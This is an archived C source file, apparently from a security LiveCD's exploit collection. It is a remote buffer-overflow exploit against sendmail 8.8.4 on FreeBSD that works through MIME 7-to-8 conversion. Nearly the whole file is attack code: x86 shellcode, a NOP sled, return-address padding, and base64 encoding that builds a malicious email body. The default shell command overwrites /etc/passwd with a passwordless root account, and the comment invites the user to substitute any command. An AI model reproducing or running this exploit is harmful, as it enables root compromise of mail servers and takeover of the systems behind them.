home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / bsd-sm884.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  113 lines

  1. /*
  2.   sendmail 8.8.4, freebsd, mime 7to8, remote 
  3.   I checked this only at home, at custom installed 8.8.4.
  4.   I have no freebsd with preinstaled 8.8.4 around.
  5.   change cmd[] below to shell command you want, and throw output to sendmail
  6.  */
  7.  
  8. #include <stdlib.h>
  9. #include <fcntl.h>
  10.  
  11. #define BUFSIZE 6100
  12. #define OFFS -5000
  13. #define ALIGN 0
  14. #define ADDRS 15
  15.  
  16. int get_sp(void)
  17. {
  18.   /* __asm__(" movl       %esp,%eax"); */
  19.   return 0xefbf95e4;
  20. }
  21.  
  22. /* up to 220 bytes */
  23. char cmd[]="echo 'h::0:0:/tmp:/bin/bash > /etc/passwd'";
  24.  
  25. char asmcode[]="\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89"
  26.                "\x36\x89\x76\x04\x89\x76\x08\x83\x06\x10\x83\x46"
  27.                "\x04\x18\x83\x46\x08\x1b\x89\x46\x0c\x88\x46\x17"
  28.                "\x88\x46\x1a\x88\x46\x1d\x50\x56\xff\x36\xb0\x3b"
  29.                "\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
  30.                "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
  31.                "\x02\x02\x02\x02\x02\x02\x2f\x62\x69\x6e\x2f\x73"
  32.                "\x68\x2e\x2d\x63\x2e";
  33.  
  34. char nop[]="\x90";
  35.  
  36. char Base64Table[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  37.  
  38. void run(unsigned char *buf)
  39. {
  40.   unsigned int i, j, k;
  41.  
  42.   printf("MIME-Version: 1.0\n");
  43.   printf("Content-Type: text/plain\n");
  44.   printf("Content-Transfer-Encoding: base64\n");
  45.  
  46.   k=strlen(buf) / 3 * 3;
  47.   for (i=0; i < k; i+=3)
  48.     {
  49.       j=(buf[i] << 16) + (buf[i+1] << 8) + buf[i+2];
  50.       if (i % 54 == 0)
  51.         printf("\n");
  52.       printf("%c", Base64Table[(j & 0xfc0000) >> 18]);
  53.       printf("%c", Base64Table[(j & 0x03f000) >> 12]);
  54.       printf("%c", Base64Table[(j & 0x000fc0) >> 6]);
  55.       printf("%c", Base64Table[j & 0x00003f]);
  56.     }
  57.   switch (strlen(buf) - k)
  58.     {
  59.     case 1:
  60.       printf("%c%c==", Base64Table[(buf[k] & 0xfc) >> 2],
  61.              Base64Table[(buf[k] & 0x3) << 4]);
  62.       break;
  63.     case 2:
  64.       printf("%c%c%c=", Base64Table[(buf[k] & 0xfc) >> 2],
  65.              Base64Table[((buf[k] & 0x3) << 4)+((buf[k+1] & 0xf0) >> 4)],
  66.              Base64Table[(buf[k+1] & 0xf) << 2]);
  67.       break;
  68.     default:
  69.     }
  70.   printf("\n");
  71. }
  72.  
  73. char code[sizeof(asmcode) + sizeof(cmd)];
  74.  
  75. main(int argc, char *argv[])
  76. {
  77.   char *buf, *ptr, addr[8];
  78.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS;
  79.   int i, noplen=strlen(nop);
  80.  
  81.   if (argc >1) bufsize=atoi(argv[1]);
  82.   if (argc >2) offs=atoi(argv[2]);
  83.   if (argc >3) addrs=atoi(argv[3]);
  84.  
  85.   strcpy(code, asmcode);
  86.   strncat(code, cmd);
  87.   strncat(code, ".");
  88.   code[41]=0x1a+strlen(cmd)+1;
  89.  
  90.   if (bufsize<strlen(code))
  91.     {
  92.       printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  93.       exit(1);
  94.     }
  95.   if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL)
  96.     {
  97.       printf("Can't malloc\n");
  98.       exit(1);
  99.     }
  100.   *(int *)addr=get_sp()+offs;
  101.   printf("address - %p\n", *(int *)addr);
  102.   ptr=buf;
  103.   for (i=0; i<bufsize; i++)
  104.     *ptr++=nop[i % noplen];
  105.   memcpy(ptr-strlen(code), code, strlen(code));
  106.   for (i=0; i<addrs<<2; i++)
  107.     *ptr++=addr[i % sizeof(int)];
  108.   *ptr=0;
  109.   printf("total buf len - %d\n", strlen(buf));
  110.  
  111.   run(buf);
  112. }
  113. /*                       www.hack.co.za              [2000]*/